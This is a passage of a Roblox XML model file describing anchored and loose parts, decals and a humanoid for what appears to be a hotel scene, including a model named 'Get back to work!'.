						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX765">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>44.5</X>
							<Y>5.80000019</Y>
							<Z>61.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX766">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>48.5</X>
							<Y>5.80000019</Y>
							<Z>61.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX767">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX768">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Get back to work!</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Humanoid" referent="RBX769">
						<Properties>
							<float name="Health">0</float>
							<float name="MaxHealth">0</float>
							<string name="Name">Humanoid</string>
							<float name="WalkSpeed">16</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX770">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1001</int>
							<CoordinateFrame name="CFrame">
								<X>61.5</X>
								<Y>7.80000019</Y>
								<Z>72.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Head</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>0.400000006</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX771">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX772">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>60</X>
								<Y>5.80000019</Y>
								<Z>73</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>3.60000014</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX773">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1012</int>
							<CoordinateFrame name="CFrame">
								<X>62</X>
								<Y>2.20000005</Y>
								<Z>73</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>3.60000014</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX774">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>63</X>
								<Y>5.80000019</Y>
								<Z>73</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>4</X>
								<Y>3.60000014</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="Decal" referent="RBX775">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">Decal</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><url>http://www.roblox.com/asset/?id=17186996</url></Content>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX776">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">9</int>
							<CoordinateFrame name="CFrame">
								<X>63</X>
								<Y>8.80000019</Y>
								<Z>73</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">hotel worker</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>2.4000001</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="Decal" referent="RBX777">
							<Properties>
								<token name="Face">5</token>
								<string name="Name">Decal</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><url>http://www.roblox.com/asset/?id=17187009</url></Content>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX778">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1012</int>
							<CoordinateFrame name="CFrame">
								<X>64</X>
								<Y>2.20000005</Y>
								<Z>73</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>3.60000014</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX779">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>66</X>
								<Y>5.80000019</Y>
								<Z>73</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>3.60000014</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX780">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX781">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">199</int>
							<CoordinateFrame name="CFrame">
								<X>60.5</X>
								<Y>5.80000019</Y>
								<Z>64.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX782">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">199</int>
							<CoordinateFrame name="CFrame">
								<X>62.5</X>
								<Y>5.80000019</Y>
								<Z>64.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX783">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">199</int>
							<CoordinateFrame name="CFrame">
								<X>60.5</X>
								<Y>5.80000019</Y>
								<Z>63.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX784">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1003</int>
							<CoordinateFrame name="CFrame">
								<X>63</X>
								<Y>4.60000038</Y>
								<Z>63</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
